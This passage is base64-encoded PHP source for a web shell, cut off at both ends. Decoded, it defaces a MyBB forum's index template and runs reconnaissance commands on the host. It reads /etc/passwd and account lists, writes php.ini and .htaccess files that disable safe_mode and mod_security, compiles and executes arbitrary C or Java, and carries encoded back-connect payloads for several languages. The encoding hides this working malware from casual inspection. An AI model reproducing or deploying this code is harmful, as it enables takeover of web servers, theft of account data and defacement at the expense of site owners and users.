mJfZGJ1LCRteWJiX2RicCwkbXliYl9kYm4pIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHByZWZpeD0ibXliYl8iOwokbG9saTcgPSAiVVBEQVRFICIuJHByZWZpeC4idGVtcGxhdGVzIFNFVCB0ZW1wbGF0ZT0nIi4kbXliYl9pbmRleC4i
JyBXSEVSRSB0aXRsZT0naW5kZXgnIjsKJHJlc3VsdCA9QG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTcpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7Cl9fYWxlcnQoJ015QkIgaW5kZXggY2hhbmdlZC4uLiEnKTsKfQp9Cn0KZWNobyAiPC9
kaXY+IjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lwcm9jKCkKewpob2tpaGVhZCgpOwplY2hvICI8RGl2IGNsYXNzPWhlYWRlcj48YnI+PGNlbnRlcj4iOwppZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ2hva2
kxJ10pKQokX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CmlmKCRHTE9CQUxTWydzeXMnXT09IndpbiIpewokcHJvY2Vzcz1hcnJheSgKIlRhc2sgTGlzdCIgPT4idGFza2xpc3QgL1YiLAoiU3lzdGVtI
EluZm8iID0+InN5c3RlbWluZm8iLAoiQWN0aXZlIENvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAoiUnVubmluZyBTZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsCiJVc2VyIEFjY291bnRzIiA9PiAibmV0IHVzZXIiLAoiU2hvdyBDb21wdXRl
cnMiID0+ICJuZXQgdmlldyIsCiJBUlAgVGFibGUiID0+ICJhcnAgLWEiLAoiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCik7fWVsc2V7CiRwcm9jZXNzPWFycmF5KAoiUHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoiU3l
zbG9nIiA9PiJjYXQgL2V0Yy9zeXNsb2cuY29uZiIsCiJSZXNvbHYiID0+ICJjYXQgL2V0Yy9yZXNvbHYuY29uZiIsCiJIb3N0cyIgPT4iY2F0IC9ldGMvaG9zdHMiLAoiQ3B1aW5mbyI9PiJjYXQgL3Byb2MvY3B1aW5mbyIsCiJWZXJzaW9uIj0+Im
NhdCAvcHJvYy92ZXJzaW9uIiwKIlNiaW4iPT4ibHMgLWFsIC91c3Ivc2JpbiIsCiJJbnRlcnJ1cHRzIj0+ImNhdCAvcHJvYy9pbnRlcnJ1cHRzIiwKImxzYXR0ciI9PiJsc2F0dHIgLXZhIiwKIlVwdGltZSI9PiJ1cHRpbWUiLAoiRnN0YWIiID0+I
mNhdCAvZXRjL2ZzdGFiIgopO30KZm9yZWFjaCgkcHJvY2VzcyBhcyAkbiA9PiAkbGluayl7CmVjaG8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdwcm9jXCcsbnVsbCxcJycuJGxpbmsuJ1wnKSI+IHwgJy4kbi4n
IHwgPC9hPic7Cn0KZWNobyAiPC9jZW50ZXI+PGJyPiI7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pKXsKZWNobyAiPHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnID4iOwppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWx
zZSJdJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInOyI7fQplY2hvIGhva2lFeCgkY21kLiRfUE9TVFsnaG9raTEnXSwgdHJ1ZSk7CmVjaG8gJzwvcHJlPic7Cn0KZWNobyAiPC9kaX
Y+IjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lzYWZlKCl7Cmhva2loZWFkKCk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEF1dG8gQnlQYXNzZXIgfDwvZGl2P
iI7CmVjaG8gJzxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsXCdwaHAuaW5pXCcsbnVsbCkiPnwgUEhQLklOSSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwn
c2FmZVwnLG51bGwsbnVsbCxcJ2luaVwnKSI+fCAuaHRhY2Nlc3MoYXBhY2hlKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLFwncGxcJykiPnwgLmh0YWNjZXNzKExpdGV
TcGVlZCkgfDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsXCdwYXNzd2RcJykiPnwgUmVhZC1QYXNzd2QgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb2
5jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCd1c2Vyc1wnKSI+fCBSZWFkLVVzZXJzIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsb
CxudWxsLG51bGwsXCd2YWxpYXNlc1wnKSI+fCBHZXQtVXNlciB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ2RvbWFpbnNc
JykiPnwgR2V0LURvbWFpbnMgfCA8L2E+PC9jZW50ZXI+PC9oMz4nOwppZighZW1wdHkoJF9QT1NUWydob2tpOCddKSAmJiBpc3NldCgkX1BPU1RbJ2hva2k4J10pID09ICdkb21haW5zJyl7CmlmKCFfaG9raV9maWxlX2V4aXN0cygiL2V0Yy92aXJ
0dWFsL2RvbWFpbm93bmVycyIpKXsKZWNobyBfX3ByZSgpOwoka2lzZXJ5b3VuaTkgPSBfaG9raV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKaWYoaXNfYXJyYXkoJGtpc2VyeW91bmk5KSl7CmZvcmVhY2goJGtpc2VyeW91bmk5IGFzICRraXNlcn
lvdW5pMTMpewppZihAZXJlZ2koJ3pvbmUnLCRraXNlcnlvdW5pMTMpKXsKcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRraXNlcnlvdW5pMTMsJGtpc2VyeW91bmkxNCk7CmlmKHN0cmxlbih0cmltKCRraXNlcnlvdW5pMTRbMV1bMF0pK
SA+IDIpewplY2hvICRraXNlcnlvdW5pMTRbMV1bMF0uJzxicj4nOwp9fX0KfQp9ZWxzZXsKZWNobyBfX3ByZSgpOwokdXNlcnMgPSBfaG9raV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CmlmKGlzX2FycmF5KCR1c2Vycykpewpm
b3JlYWNoKCR1c2VycyBhcyAkYm96KXsKJGRvbSA9IGV4cGxvZGUoIjoiLCRib3opOwplY2hvICRkb21bMF0uIlxuIjt9fX19CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2k2J10pICYmIGlzc2V0KCRfUE9TVFsnaG9raTYnXSkgPT0gJ3ZhbGlhc2VzJyl
7CmVjaG8gJwo8Zm9ybSBvbnN1Ym1pdD0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3ZhbGlhc2VzXCcsdGhpcy5zaXRlLnZhbHVlLG51bGwsXCc+PlwnKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJwb3N0IiAvPj
xjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udCI+VXJsOiA8L2ZvbnQ+PGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJzaXRlLmNvbSIgbmFtZT0ic2l0ZSIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvP
jwvZm9ybT48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2hva2k5J10pICYmICRfUE9TVFsnaG9raTknXSA9PSAnPj4nKXsKaWYoIV9ob2tpX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpewokc2l0ZSA9IHRyaW0o
JF9QT1NUWydob2tpNyddKTsKJHJlcCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwczovLyIsImh0dHA6Ly8iLCJ3d3cuIiksIiIsJHNpdGUpOwokdXNlciA9ICIiOwppZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3R
pb25fZXhpc3RzKCJmaWxlb3duZXIiKSl7CglpZigkdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzL3skcmVwfSIpKSl7CgkJJHVzZXIgPSAkdXNlclsnbmFtZSddOwoJfQp9ZWxzZXsKCWlmKF9ob2tpX2Nhbl
9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSR1c2VyID0gaG9raUV4KCJzdGF0IC1jICclVScgL2V0Yy92YWxpYXNlcy8iLiRyZXApOwoJfQp9CmlmKCFlbXB0eSgkdXNlcikmJiR1c2VyIT0ncm9vdCcpewplY2hvIF9fcHJlKCkuIjxjZW50ZXI+P
HRhYmxlIGJvcmRlcj0nMSc+PHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Vc2VyOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnskdXNlcn08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRk
PjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPnNpdGU6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyRyZXB9PC9mb250PjwvYj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9ZWxzZSB7ZWNobyB
fX3ByZSgpLic8Y2VudGVyPjxiPk5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkgT3IgRGlzYWJsZSBGdW5jdGlvbnMgaXMgbm90IE5PTkUuLi48L2I+PC9jZW50ZXI+Jzt9Cn1lbHNlewokc2l0ZSA9IHRyaW0oJF9QT1NUWydob2tpNyddKTsKJHJlcC
A9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwczovLyIsImh0dHA6Ly8iLCJ3d3cuIiksIiIsJHNpdGUpOwokdXNlcnMgPSBfaG9raV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokZXggP
SBleHBsb2RlKCI6IiwkYm96KTsKaWYoJGV4WzBdID09ICRyZXApewplY2hvIF9fcHJlKCkuIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Cjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcjogPC9iPjwvZm9udD48L3RkPjx0
ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4iLnRyaW0oJGV4WzFdKS4iPC9mb250PjwvYj48L3RkPjwvdHI+Cjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+c2l0ZTogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2x
vcj1cIiNGRjAwMDBcIj57JHJlcH08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7YnJlYWs7fX19fX0KaWYoIWVtcHR5KCRfUE9TVFsnaG9raTUnXSkgJiYgaXNzZXQoJF9QT1NUWydob2tpNSddKSl7CmlmKCFfaG9raV9maW
xlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKZWNobyBfX3ByZSgpOwokaSA9IDA7CndoaWxlICgkaSA8IDYwMDAwKSB7CiRsaW5lID0gQHBvc2l4X2dldHB3dWlkKCRpKTsKaWYgKCFlbXB0eSgkbGluZSkpIHsKd2hpbGUgK
Gxpc3QgKCRrZXksICR2bCkgPSBlYWNoKCRsaW5lKSl7CmVjaG8gJHZsLiJcbiI7CmJyZWFrO319JGkrKzt9Cn1lbHNle2VjaG8gX19wcmUoKTsKJHVzZXJzID0gX2hva2lfZmlsZSgiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpOwpmb3JlYWNo
KCR1c2VycyBhcyAkYm96KXsKJHVzZXIgPSBleHBsb2RlKCI6IiwkYm96KTsKZWNobyB0cmltKCR1c2VyWzFdKS4nPGJyPic7fX19CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2k0J10pICYmIGlzc2V0KCRfUE9TVFsnaG9raTQnXSkpewplY2hvIF9fcHJ
lKCk7CmlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpe2VjaG8gX19yZWFkX2ZpbGUoIi9ldGMvcGFzc3dkIik7fWVsc2VpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikpewpmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JH
VpZCsrKXsKJGFyYSA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsKaWYoIWVtcHR5KCRhcmEpKXsKd2hpbGUobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsKZWNobyAiJHZhbDoiOwp9ZWNobyAiXG4iO319Cn1lbHNle19fYWxlcnQoJ2Zha
WxlZC4uLicpO319CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kyJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9raTInXSkpewpAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwiI0dlbmVyYXRlZCBCeSBLaXNlIFJ5b3VuaSBhbmQg
SG9raTMwM1xuPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjLS0tLS0tRW5naW5lIE9mZlxuU2VjLS0tLS0tU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPiIpOwplY2hvICc8Y2VudGVyPjxiPjxiaWc+aHRhY2Nlc3MgZm9yIEFwYWNoZSBjcmV
hdGVkLi4uITwvY2VudGVyPjwvYj48L2JpZz4nOwp9CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pJiYgaXNzZXQoJF9QT1NUWydob2tpMSddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwic2FmZV9tb2RlPU9GRl
xuZGlzYWJsZV9mdW5jdGlvbnM9QnlQYXNzZWQgQnkgS2lzZSBSeW91bmkgYW5kIEhva2kzMDMiKTsKZWNobyAnPGNlbnRlcj48Yj48YmlnPiBwaHAuaW5pIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7Cn0KaWYoIWVtcHR5KCRfUE9TV
FsnaG9raTMnXSkgJiYgaXNzZXQoJF9QT1NUWydob2tpMyddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCIjR2VuZXJhdGVkIEJ5IEtpc2UgUnlvdW5pIGFuZCBIb2tpMzAzXG48RmlsZXMgKi5waHA+XG5Gb3Jj
ZVR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHA0XG48L0ZpbGVzPlxuPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjRmlsdGVyRW5naW5lIE9mZlxuU2VjRmlsdGVyU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPiIpOwplY2hvICc8Y2VudGV
yPjxiPjxiaWc+aHRhY2Nlc3MgZm9yIExpdGVzcGVlZCBjcmVhdGVkLi4uITwvY2VudGVyPjwvYj48L2JpZz4nOwp9CmVjaG8gIjxicj48L2Rpdj4iOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19nZXRfcmVzb3VyY2UoJGNvbnRlbnQpewpyZX
R1cm4gQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coJGNvbnRlbnQpKTsKfQpmdW5jdGlvbiBfX3dyaXRlX2ZpbGUoJGZpbGUsICRjb250ZW50KXsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAid2IiKSl7CmlmKGZ3cml0ZSgkZmgsICRjb250ZW50KSE9P
WZhbHNlKSByZXR1cm4gdHJ1ZTsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYmNpbml0KCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsKJHJlcyA9ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsgU3Vj
Y2Vzcy4uLiEgXTwvZm9udD4iOwokZXJyID0gIjxmb250IGNvbG9yPSdyZWQnPlsgRmFpbGVkLi4uISBdPC9mb250PiI7CmlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7CmlmKCRldmFsQXJndW1lbnR
zIT0iIikgJGV2YWxBcmd1bWVudHMgPSAiICIuJGV2YWxBcmd1bWVudHM7CmlmKCRldmFsVHlwZT09ImMiKXsKJHRtcGRpciA9IEhPS0lfVEVNUERJUjsKY2hkaXIoJHRtcGRpcik7CmlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKJHVuaXEgPSBzdW
JzdHIobWQ1KHRpbWUoKSksMCw4KTsKJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxLiIuYyI7CiRwYXRoID0gJGZpbGVuYW1lOwppZihfX3dyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpewokZXh0ID0gKCRHTE9CQUxTWydzeXMnXT09J3dpb
icpPyAiLmV4ZSI6Ii5vdXQiOwokcGF0aHJlcyA9ICRmaWxlbmFtZS4kZXh0OwokZXZhbE9wdGlvbnMgPSAiLW8gIi4kcGF0aHJlcy4iICIuJGV2YWxPcHRpb25zOwokY21kID0gImdjYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKaG9raUV4KCRjbWQp
OwppZihpc19maWxlKCRwYXRocmVzKSl7CmlmKGNobW9kKCRwYXRocmVzLCAwNzU1KSl7CiRjbWQgPSAkcGF0aHJlcy4kZXZhbEFyZ3VtZW50czsKaG9raUV4KCRjbWQpOwp9ZWxzZXskcmVzID0gJGVycjt9CnVubGluaygkcGF0aHJlcyk7Cn1lbHN
leyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRoKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp9CnJldHVybiAkcmVzOwp9ZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsKJHRtcGRpciA9IEhPS0lfVEVNUERJUjsKY2hkaXIoJHRtcGRpcik7CmlmKGlzX3
dyaXRhYmxlKCR0bXBkaXIpKXsKaWYocHJlZ19tYXRjaCgiL2NsYXNzXCAoW157XSspey9pIiwkZXZhbENvZGUsICRyKSl7CiRjbGFzc25hbWUgPSB0cmltKCRyWzFdKTsKJGZpbGVuYW1lID0gJGNsYXNzbmFtZTsKfWVsc2V7CiR1bmlxID0gc3Vic
3RyKG1kNSh0aW1lKCkpLDAsOCk7CiRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsKJGV2YWxDb2RlID0gImNsYXNzICIuJGZpbGVuYW1lLiIgeyAiLiRldmFsQ29kZSAuICIgfSAiOwp9CiRwYXRoID0gJGZpbGVuYW1lLiIuamF2YSI7CmlmKF9f
d3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CiRjbWQgPSAiamF2YWMgIi4kZXZhbE9wdGlvbnMuJHBhdGg7Cmhva2lFeCgkY21kKTsKJHBhdGhyZXMgPSAkZmlsZW5hbWUuIi5jbGFzcyI7CmlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKaWYoY2h
tb2QoJHBhdGhyZXMsIDA3NTUpKXsKJGNtZCA9ICJqYXZhICIuJGZpbGVuYW1lLiRldmFsQXJndW1lbnRzOwpob2tpRXgoJGNtZCk7Cn1lbHNleyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRocmVzKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp1bmxpbm
soJHBhdGgpOwp9ZWxzZXskcmVzID0gJGVycjt9Cn0KcmV0dXJuICRyZXM7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGhva2ljb25uZWN0KCl7Cmhva2loZWFkKCk7CiRwaHA9IjdWWnRhOXN3RVA1ZTZIOVFqYUUyUzV1WGZoZzBwREJZUHc3S
1Z0aUh0ak9PTE5jaXRxVko4cEt4cGI5OWQzNkw0emlkMTdXd1FWMXdyYnZUbzBlNk96MWhTZ25sS1NhRk1qeTlkMGJ1OVBCQU0rTVpuakF2NWdrM2hVM01QWjdJbUZOdXZERE9kT1NnMVRhK3VtZEdreGxoS3htTGdEa1dzUWFrdE9jaEZMM2pzN08z
T0ZqNk1FaXpPTVlCYXc1MEJBTUxVSUFKdWI3OCtHRzJNa3dsMDZ0UDQ5bnhyWDMxK2YzRjhiUjBnMjA2blBOMENKTk91SVhURTV6OVFON0ZvVSt1bVo4UUhiRTRKZy9rOEFEOVBDUU9GVmxxbklxeVMyWkF5eVUvRGc4SVBMWUVnTkkzTFUwNUk2c2F
HUnpCb2dGYTFvVEZtdTFCblhTaTZwdlJYUk81Tm8vdnRwZnc2U0pmb21BZFppazFYS1FlVzNGdHRITXNhV3BpTHhScWNldzJGdUlCVE43NDh2U2dCekVLNzR5YzRJWUJ4empqdHJ1MGo1cDJLVFJmZVZBTm1nZU8yd0ZRVWtUZTFkbHNHR0hhdFZHUU
MwOEx1b0NhMGt4OVk4cXhESlhudytIb05QODd0OGdwMEllYVlVcWxvdmdQOHlvaUZVUlpreUtEdzlZRGNsWXp0ZW5PUWo2bFRHSmNjemNRWWtRc2xzQkFaM01ZT1RLU1hwYjZDWFBjQVJrQnBwdHYwbHJ5ZExNUGZNS2w0b1k1TmdWMkNkQ0Z0TkVsS
HNrcHNTNnNhaEY4bGhHUEdaNG9PUUtrMEljaTJVS3FpeUxFMUFOaWMzSjk3b3JkZTRsdmFPUllReHJjRXVmbXk2MitlK01PT2ZZV25wVlM3ZzV1amgxZ0dZQjdVMVZ0ZEs2OWdDc0hJZ0dDUnRWM1I3UXRBR3Q3cjYyb1RSc1l4WlBtRWR1eVBFeXNG
b3Y4L0VuMlJuek5JTUlsYzhqZ29vV1A2QVVOSHhyN2NvV1RrSWkxazRUV3hHYkdSSE52NjBaV2FTdzBhK1dnTXRhbFUyeHhielUwNTlvQjFyeXZsUC9kR1pIWlJmbHBTUzRaSk01U0Z0VFp1TU94Uk1lazI3RzFnRlRZNUVwUVQwaVdBc3RvZ0t0aVV
YRFpqTVNVSEVHbUZkTWlVeFRZU3F5WTdkN0hwOUZlOHhpNkIwVUF3ZUN5Z3A3b0ZUbnVIVG5wRlVsYlFXVlBHWlh0OWxKK1F6SVJZaGF4eUlydmdwWGJYVk8yOHVzczVUbXM5bEJTYkhkQ3pURm1GTzRVNVVQa0VsOE1YcWhlWFMzTVU2K3hndkwzZE
N2SG13RGdneUtPNnE0MnJPcXR5b3JOMjFIcnh3alUyK3ZEb2c1K25BcDlFb3ZKbjdDWS9EMkxqbDdYWGIzZWVRRVVwNzNQTTk3cjJTNmd2RmNyYjYxcDYrWVBpRW85VWZhMzFUTkVPU3NhUFNydmZaYmlhMHYvbmtuYjlMTnIyMDd1WHJXdGliOVAyK
0FIYTE5MTB6M1VyWWVRNlZjaGV4RWgwMDhTTXYwa0lkTXZMbVM2NStXdC95Y2gwLytFa1AyT1JWOGhlMm5OK2dVPSI7CiRweXRob249InBWUnRUOXN3RVA2Y1N2MFB4cHRXUjgwTTdZWTB3WUpVUVpqUUJsUnRwMzBBVnFYT3BZbVdPcEh0UVBuQ2I1
L3RKRzFBSFVLYXFyYStWOTl6OTV6ZjdlMlhVdXd2VXI0UC9CNFZqeXJKZWJlVHJvcGNLQ1RBaytXaUVEa0RLYjFjZXZKUmYzUDJCNVNuMGhWME80V1BjYmVUMk44SVlpUVR5RExDM0tOdXh6RngvamFlanZNQ09HR2U5ZkZub3RUWlZaU1g2cG5UeFR
nd2FoQmlsenJsTDdXdXZrbUFLZ1ZIUmsycmxGUkFHQkczMzZoMHVwWnFWU2ppVXVBc2o0RDBTaFYvL05MVGVTb0lJVk5wem1zTWFZeHlTWG00Z2owZmM0V056b2w5UnVNMEE1NFRjN3VqUFhSakZLd0loclZ0M0N5WVhQcHJCV0oxUEo0Ty9ONzc4YS
t6azk1eGJkV3FZOXR5bWFDUEtmcjZBZmVsRWlSMit4aWR0SVhoVmpJWFFTYkJGdkNRNk51UjZhQVZIU1VlcTRNamRHa0MyRDBaSEF3L3V6UUNDeEZiaU5nVzY4Q2FRYUZxL3lLVXN0STJ1UjJEV1dNandqMDVxRFhPd2hkQUpZU0NKUVN6NkJhUm05K
zM4cTd2WWs5NGNSWXVwWEc0K0haMVBRbE9SOVBBcmVOMHFrV1RvKzVsRWFxRXBqSktCVm5RcGNqTGdneGNkK05rbXNtU0Y5YkdxRWNKUENML21tRGoxOEtpOHhsK1dWWUt0MTFKcVZESUk0dFVudzNXT3J1UktrZWJCOVhrT2crMTFIQ2txZUJvU3o1
OHkzRmZGNzhFeFI0TXovQ0ozb21scjVsQlE3RzgxMHRWOVhYcCt2N1E3b2UvdkJuY2RUdVF0U3lmMmhZbjBZZWhkZEdWd0RwVnVodG02Vkt1U0tGUDBxKzJrVlovcEpaRzUvT0xxMkJXcnlxZFhwOStuMDluazJCMGFXSTBUR1VzZWJFSm1GNy9tQnV
2ZHN4OEV2eWNCcU96czRsbkxuMVp2YVNhd1JFaCtJRGFEL1lLT3dCSnMxVHZBaWVIUmpMTTFDc2Z1cjd1QWpQRXN5dlQ0cUI1UjZqTUFBcUxiVHU4bmF2WFVJRGdKelRLNGhETklGeWhxWmt2ZXRJVDJNMkpMU0ZlQzhlYnAyRjNsczNEOEt3WmRtQU
dKdExFelRrSHBnaEo2bWJzeG5uNEJwenkvM0MrRnY1R25OTDlDdz09IjsKJHBlcmw9ImxaTFJqcE5BRklhdjI2VHZNT0pzQzhrWVdyMWJwSkZRM0RSclM4T3dHbU9Wc1BTc1RLUURnVm0zbSs3MjJaMEJWaWZHR0wwNzU1L0RkK0FibmoremI1dmF2b
WJjQnY0ZFZWQVhvK0Z0QTJnWm5wL1RNdnNHd2hrTmNkbTQrRXVvcWlaM0RUaFVaUzFRSEVRcjl5Q2czanNiT25Nblc3ejVzTmpPSjA1L0xrT25KVGM1ZXNFTStUUzdNUlhxdExmdlpNeXNZNHM3ODhNVjNRVCtHYkl2RGVkUkxoSHVWeEJWWFlyeStw
Nm5lekFuSXFzbWxpUTA3U3VabEl3M2I1UGxPb2pKbUliK1pVTGpLUEJXQkF2cjRXSEh3TFM2YlcrODZPSzk2ODZzNDJnNHdKV0xWZjlwK2xtZURob1FpbFpXQ2tmRGQ0a0NTU0FOa3lpNG9vRzNXRVJrcGtBRCtSRTdPYVRHMDkydVRoZzNjVVdXYXp
XU2VPdVBscloxVUxCR0FKZmpyL1EwelRLUW0zeENyVzY1SlByRU9DR3Z1RWxSRE9rZTBSeUtBcDIyM0NEVGRxaXNnQ01hTDVacllyd2UrNGJ6RklSWE1USG1laEpFVVovSTUrQUFHWkpxdGZWWlVUWmcrcGJURmZSbm9laGFJOGxhSjZsV0IyUUNUV1
VsTHdlSzVwZllsMzhTaS9PK25YVXRjeGtIa2FTaWxOcHlYUXBPM2QrY1lxYWZaeVhua0tuN3dhbWV0L2JvUDlnemUzdnpNVFVzNXlucDllbFI3MDlGZnhQNGY5NDZXM0JVK2t6NUp6MytBQT09IjsKJHJ1Ynk9InRWYjdiOU02RlA3WitTdU1OMGh6V
nhMR1EraDJONnZHVTBnZ3FqRzRRbVFYdGM1cFl5MTFndTNRb1czODdmaVZycVh0MWl2ZDY2cDFlczduOC9UNTJwMDdTU05GTW1JOEFmNGRpMmIwSTlqQmhWSzE3Q1hKaEttaUdjVzBtaWFqUjA4Zm43blBRTUMzaGduQW9hem9HYWp3V2xBUFZjR0hV
d2lESUljeGxnMDlrd0VTb0JyQjhmSEhaNSsvRHQ0ZW5ieDZmL3d1enFzWnAwTUo4WFNvYU5FSnAzTEcrS1Y1VHhtZnpNS29yMFFEdmZHd2xCQUF6NTFGQWNQU09PbElKU0p0T2RWN2dOZ1l2MklseEhET3BKSjlyOVRhZ1k4bjVqQ3owcmcxRUt2cXF
